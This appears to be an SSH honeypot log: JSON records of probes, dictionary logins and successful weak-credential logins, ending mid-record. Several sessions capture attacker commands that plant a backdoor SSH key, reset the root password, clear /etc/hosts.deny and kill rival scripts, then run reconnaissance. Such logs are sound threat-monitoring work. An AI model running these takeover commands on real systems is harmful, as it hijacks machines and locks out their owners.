SCORE: 0
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "0d97c75b102e",
"src_ip": "109.160.32.131",
"start_time": "2026-10-07T19:54:13.023005Z",
"end_time": "2026-10-07T19:54:21.027595Z",
"duration": "8.0",
"version": "SSH-2.0-Go",
"hassh": "084386fa7ae5039bcf6f07298a05a227",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}
SCORE: 10
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "a13707dcd3ac",
"src_ip": "218.23.192.91",
"start_time": "2026-10-07T19:51:34.627835Z",
"end_time": "2026-10-07T19:53:34.662034Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}
SCORE: 10
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "41404b79e3b7",
"src_ip": "218.23.192.91",
"start_time": "2026-10-07T19:48:31.584321Z",
"end_time": "2026-10-07T19:50:31.592531Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}
SCORE: 0
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "2bf15f8355da",
"src_ip": "13.140.177.137",
"start_time": "2026-10-07T19:47:45.827337Z",
"end_time": "2026-10-07T19:47:45.842171Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}
FAILED LOGIN
SCORE: 0
Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: yy
{
"id": "a457b71ff596",
"src_ip": "218.23.192.91",
"start_time": "2026-10-07T19:45:28.101037Z",
"end_time": "2026-10-07T19:45:30.944294Z",
"duration": "2.8",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "yy",
"pass": "yy"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}
SCORE: 0
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "e565671dde5f",
"src_ip": "24.94.185.220",
"start_time": "2026-10-07T19:42:29.986764Z",
"end_time": "2026-10-07T19:42:29.990312Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}
SCORE: 10
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "73e2a67b4d09",
"src_ip": "218.23.192.91",
"start_time": "2026-10-07T19:42:25.321494Z",
"end_time": "2026-10-07T19:44:25.328323Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}
SCORE: 0
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "8ed609c7aa89",
"src_ip": "31.184.195.246",
"start_time": "2026-10-07T19:40:45.681565Z",
"end_time": "2026-10-07T19:40:45.867990Z",
"duration": "0.2",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}
SCORE: 10
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "febad8e14fc6",
"src_ip": "218.23.192.91",
"start_time": "2026-10-07T19:39:23.612619Z",
"end_time": "2026-10-07T19:41:23.636685Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}
SUCCESSFUL LOGIN
SCORE: 50
Credential acceptance event recorded. Target authentication: admin /
{
"id": "ff7d3b97293e",
"src_ip": "193.46.255.86",
"start_time": "2026-10-07T19:38:53.890908Z",
"end_time": "2026-10-07T19:38:59.900779Z",
"duration": "6.0",
"version": "SSH-2.0-PuTTY_Release_0.84",
"hassh": "3356ae6145fa86124298066e281ea2d9",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": ""
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}
SCORE: 10
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "6e33b9c99930",
"src_ip": "218.23.192.91",
"start_time": "2026-10-07T19:36:20.447037Z",
"end_time": "2026-10-07T19:38:20.467844Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}
SCORE: 10
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "13cf056f98c3",
"src_ip": "218.23.192.91",
"start_time": "2026-10-07T19:33:17.032452Z",
"end_time": "2026-10-07T19:35:17.049436Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}
SCORE: 0
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "46e0c07f9bce",
"src_ip": "67.177.164.213",
"start_time": "2026-10-07T19:31:13.377142Z",
"end_time": "2026-10-07T19:31:13.380668Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}
SUCCESSFUL LOGIN
SCORE: 50
Credential acceptance event recorded. Target authentication: support / support
{
"id": "417557148ec1",
"src_ip": "176.53.159.196",
"start_time": "2026-10-07T19:30:30.174553Z",
"end_time": "2026-10-07T19:30:31.390528Z",
"duration": "1.2",
"version": "SSH-2.0-Go",
"hassh": "eff4c24daffc8532c160e86e5f006e53",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "support",
"pass": "support"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}
SCORE: 10
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "ea99d6f18593",
"src_ip": "218.23.192.91",
"start_time": "2026-10-07T19:30:13.966140Z",
"end_time": "2026-10-07T19:32:13.980209Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}
SCORE: 0
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "add84ca312a8",
"src_ip": "67.177.164.213",
"start_time": "2026-10-07T19:28:56.719919Z",
"end_time": "2026-10-07T19:28:56.722575Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}
SCORE: 10
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "26b5d8bd20b1",
"src_ip": "218.23.192.91",
"start_time": "2026-10-07T19:27:47.122049Z",
"end_time": "2026-10-07T19:29:47.134419Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}
SCORE: 10
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "60534165c401",
"src_ip": "218.23.192.91",
"start_time": "2026-10-07T19:27:39.109601Z",
"end_time": "2026-10-07T19:29:39.116508Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}
SUCCESSFUL LOGIN
RECONNAISSANCE
COMMANDS RUN
SCORE: 340
Credential acceptance event recorded. Target authentication: root / Spring123
Remote entity achieved interactive shell state. Command sequence (19 executed):
[obs-node]:~$
cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
[obs-node]:~$
cat /proc/cpuinfo | grep name | wc -l
[obs-node]:~$
echo "root:tQwKcIqoIuYP"|chpasswd|bash
[obs-node]:~$
rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
[obs-node]:~$
cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
[obs-node]:~$
free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
[obs-node]:~$
ls -lh $(which ls)
[obs-node]:~$
which ls
[obs-node]:~$
crontab -l
[obs-node]:~$
w
[obs-node]:~$
uname -m
[obs-node]:~$
cat /proc/cpuinfo | grep model | grep name | wc -l
[obs-node]:~$
top
[obs-node]:~$
uname
[obs-node]:~$
uname -a
[obs-node]:~$
whoami
[obs-node]:~$
lscpu | grep Model
[obs-node]:~$
df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
{
"id": "d878202573ff",
"src_ip": "218.23.192.91",
"start_time": "2026-10-07T19:27:36.238590Z",
"end_time": "2026-10-07T19:28:03.485251Z",
"duration": "27.2",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Spring123"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"cat /proc/cpuinfo | grep name | wc -l",
"echo \"root:tQwKcIqoIuYP\"|chpasswd|bash",
"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
"ls -lh $(which ls)",
"which ls",
"crontab -l",
"w",
"uname -m",
"cat /proc/cpuinfo | grep model | grep name | wc -l",
"top",
"uname",
"uname -a",
"whoami",
"lscpu | grep Model",
"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
},
{
"cmd": "cat /proc/cpuinfo | grep name | wc -l",
"failed": false,
"error": null
},
{
"cmd": "echo \"root:tQwKcIqoIuYP\"|chpasswd|bash",
"failed": false,
"error": null
},
{
"cmd": "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
"failed": false,
"error": null
},
{
"cmd": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
"failed": false,
"error": null
},
{
"cmd": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
"failed": false,
"error": null
},
{
"cmd": "ls -lh $(which ls)",
"failed": false,
"error": null
},
{
"cmd": "which ls",
"failed": false,
"error": null
},
{
"cmd": "crontab -l",
"failed": false,
"error": null
},
{
"cmd": "w",
"failed": false,
"error": null
},
{
"cmd": "uname -m",
"failed": false,
"error": null
},
{
"cmd": "cat /proc/cpuinfo | grep model | grep name | wc -l",
"failed": false,
"error": null
},
{
"cmd": "top",
"failed": false,
"error": null
},
{
"cmd": "uname",
"failed": false,
"error": null
},
{
"cmd": "uname -a",
"failed": false,
"error": null
},
{
"cmd": "whoami",
"failed": false,
"error": null
},
{
"cmd": "lscpu | grep Model",
"failed": false,
"error": null
},
{
"cmd": "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 340,
"tags": [
"SUCCESSFUL LOGIN",
"RECONNAISSANCE",
"COMMANDS RUN"
]
}
SUCCESSFUL LOGIN
SCORE: 50
Credential acceptance event recorded. Target authentication: admin / 131191
{
"id": "c14981c49043",
"src_ip": "2.57.121.25",
"start_time": "2026-10-07T19:25:49.169417Z",
"end_time": "2026-10-07T19:25:55.179212Z",
"duration": "6.0",
"version": "SSH-2.0-PuTTY_Release_0.84",
"hassh": "3356ae6145fa86124298066e281ea2d9",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "131191"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}
SCORE: 10
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "184c4bc78dd8",
"src_ip": "218.23.192.91",
"start_time": "2026-10-07T19:24:32.904163Z",
"end_time": "2026-10-07T19:26:32.929529Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}
FAILED LOGIN
SCORE: 0
Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: deshon
{
"id": "febdd1bed465",
"src_ip": "2.57.121.112",
"start_time": "2026-10-07T19:23:02.680031Z",
"end_time": "2026-10-07T19:23:09.190108Z",
"duration": "6.5",
"version": "SSH-2.0-PuTTY_Release_0.84",
"hassh": "3356ae6145fa86124298066e281ea2d9",
"attempts": [
{
"user": "deshon",
"pass": "deshon"
},
{
"user": "deshon",
"pass": "deshon1"
},
{
"user": "deshon",
"pass": "deshon123"
},
{
"user": "deshon",
"pass": "deshon1234"
},
{
"user": "deshon",
"pass": "deshon12345"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}
SCORE: 10
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "e53b6956b0f2",
"src_ip": "218.23.192.91",
"start_time": "2026-10-07T19:21:29.564834Z",
"end_time": "2026-10-07T19:23:29.584105Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}
FAILED LOGIN
SCORE: 0
Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: pick
{
"id": "d5c3af48e544",
"src_ip": "218.23.192.91",
"start_time": "2026-10-07T19:18:26.403729Z",
"end_time": "2026-10-07T19:18:28.865827Z",
"duration": "2.5",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "pick",
"pass": "pick"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}
SCORE: 10
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "e5e53dcdd6e4",
"src_ip": "218.23.192.91",
"start_time": "2026-10-07T19:15:29.596502Z",
"end_time": "2026-10-07T19:17:29.626121Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}
SCORE: 0
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "1b12a2389f81",
"src_ip": "192.168.0.1",
"start_time": "2026-10-07T19:12:57.075572Z",
"end_time": "2026-10-07T19:12:57.087399Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}
SCORE: 10
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "082901b7e5aa",
"src_ip": "218.23.192.91",
"start_time": "2026-10-07T19:12:38.445656Z",
"end_time": "2026-10-07T19:14:38.456108Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}
SUCCESSFUL LOGIN
SCORE: 50
Credential acceptance event recorded. Target authentication: root / 3245gs5662d34
{
"id": "58d26cbd9e8d",
"src_ip": "5.253.38.188",
"start_time": "2026-10-07T19:12:20.596939Z",
"end_time": "2026-10-07T19:12:20.749123Z",
"duration": "0.1",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}
FAILED LOGIN
SCORE: 0
Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34
{
"id": "15d605141b1a",
"src_ip": "5.253.38.188",
"start_time": "2026-10-07T19:12:19.439421Z",
"end_time": "2026-10-07T19:12:20.581191Z",
"duration": "1.1",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "345gs5662d34",
"pass": "345gs5662d34"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}
SUCCESSFUL LOGIN
COMMANDS RUN
SCORE: 80
Credential acceptance event recorded. Target authentication: root / exxact@1
Remote entity achieved interactive shell state. Command sequence (2 executed):
[obs-node]:~$
cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
{
"id": "5fe19cc0b246",
"src_ip": "5.253.38.188",
"start_time": "2026-10-07T19:12:18.973279Z",
"end_time": "2026-10-07T19:12:20.745995Z",
"duration": "1.8",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "exxact@1"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}
FAILED LOGIN
SCORE: 0
Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: sftptest
{
"id": "e0c4abca098d",
"src_ip": "5.253.38.188",
"start_time": "2026-10-07T19:11:06.189760Z",
"end_time": "2026-10-07T19:11:07.345623Z",
"duration": "1.2",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "sftptest",
"pass": "test123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}
FAILED LOGIN
SCORE: 0
Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: remoteuser
{
"id": "ea5dd29e9af3",
"src_ip": "5.253.38.188",
"start_time": "2026-10-07T19:09:52.437025Z",
"end_time": "2026-10-07T19:09:53.591860Z",
"duration": "1.2",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "remoteuser",
"pass": "1234"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}
SCORE: 10
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "fd26e87324f3",
"src_ip": "218.23.192.91",
"start_time": "2026-10-07T19:09:34.266624Z",
"end_time": "2026-10-07T19:11:34.298640Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}
SUCCESSFUL LOGIN
SCORE: 50
Credential acceptance event recorded. Target authentication: oracle / 3245gs5662d34
{
"id": "43fd6fccb65c",
"src_ip": "5.253.38.188",
"start_time": "2026-10-07T19:08:39.888376Z",
"end_time": "2026-10-07T19:08:40.043456Z",
"duration": "0.2",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "oracle",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}
FAILED LOGIN
SCORE: 0
Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34
{
"id": "736f9e2ef89a",
"src_ip": "5.253.38.188",
"start_time": "2026-10-07T19:08:38.726673Z",
"end_time": "2026-10-07T19:08:39.872231Z",
"duration": "1.1",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "345gs5662d34",
"pass": "345gs5662d34"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}
SUCCESSFUL LOGIN
COMMANDS RUN
SCORE: 80
Credential acceptance event recorded. Target authentication: oracle / oracle01
Remote entity achieved interactive shell state. Command sequence (2 executed):
[obs-node]:~$
cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
{
"id": "b98be764d01a",
"src_ip": "5.253.38.188",
"start_time": "2026-10-07T19:08:38.356822Z",
"end_time": "2026-10-07T19:08:40.040380Z",
"duration": "1.7",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "oracle",
"pass": "oracle01"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
